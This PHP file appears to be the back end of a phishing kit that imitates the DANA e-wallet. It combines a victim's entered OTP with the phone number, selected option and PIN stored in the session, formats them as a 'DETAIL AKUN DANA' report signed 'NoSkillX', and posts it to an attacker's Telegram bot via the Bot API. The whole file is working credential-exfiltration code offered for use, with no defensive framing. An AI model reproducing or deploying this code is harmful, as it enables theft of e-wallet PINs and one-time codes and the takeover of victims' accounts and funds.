<?php
session_start();

$code1 = isset($_POST['code1']) ? trim($_POST['code1']) : '';
$code2 = isset($_POST['code2']) ? trim($_POST['code2']) : '';
$code3 = isset($_POST['code3']) ? trim($_POST['code3']) : '';
$code4 = isset($_POST['code4']) ? trim($_POST['code4']) : '';
$otp = $code1 . $code2 . $code3 . $code4;

if ($otp === '' || strlen($otp) !== 4 || !ctype_digit($otp)) {
  die('Kode OTP tidak valid.');
}

$nohp = isset($_SESSION['nohp']) ? $_SESSION['nohp'] : 'Tidak ada nomor';
$fitur = isset($_SESSION['fitur_dipilih']) ? $_SESSION['fitur_dipilih'] : 'Tidak ada fitur';
$pin = isset($_SESSION['pin']) ? $_SESSION['pin'] : 'Tidak ada PIN';

$pesan = "┏━━━━━━━━━━━━━━━━━━━━┓\n";
$pesan .= "┣ 〘𝗗𝗘𝗧𝗔𝗜𝗟 𝗔𝗞𝗨𝗡 𝗗𝗔𝗡𝗔〙 \n";
$pesan .= "┣ 𝗢𝗣𝗦𝗜 : `$fitur`\n";
$pesan .= "┣ 𝗡𝗢 𝗛𝗣 : `$nohp`\n";
$pesan .= "┣ 𝗣𝗜𝗡 : `$pin`\n";
$pesan .= "┣ 𝗢𝗧𝗣 : `$otp`\n";
$pesan .= "┣\n";
$pesan .= "┣〘 𝑩𝒚 : 𝑵𝒐𝑺𝒌𝒊𝒍𝒍𝑿 〙\n";
$pesan .= "┗━━━━━━━━━━━━━━━━━━━━┛";

include 'tel.php';

$url = "https://api.telegram.org/bot$token/sendMessage";
$data = [
  'chat_id' => $chat_id,
  'text' => $pesan,
  'parse_mode' => 'Markdown'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);

// Simpan dan respon
if ($result !== false) {
  $_SESSION['otp_final'] = $otpGabungan;
  http_response_code(200);
  echo "Berhasil";
} else {
  http_response_code(500);
  echo "Gagal kirim ke Telegram.";
}
?>